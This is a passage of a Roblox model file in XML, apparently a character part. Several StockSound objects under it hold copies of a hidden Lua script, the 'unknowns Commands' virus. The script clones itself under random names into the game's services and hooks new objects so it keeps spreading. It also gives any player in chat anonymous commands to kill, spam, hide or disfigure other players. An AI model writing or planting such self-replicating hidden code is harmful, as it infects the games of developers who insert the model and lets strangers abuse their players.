for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX306">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>8.5</X>
							<Y>1.4000001</Y>
							<Z>119</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX307">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX308">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">916t65wz</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX309">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">f1fowz35</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX310">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wuf7q</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX311">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">bx0dxhi</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
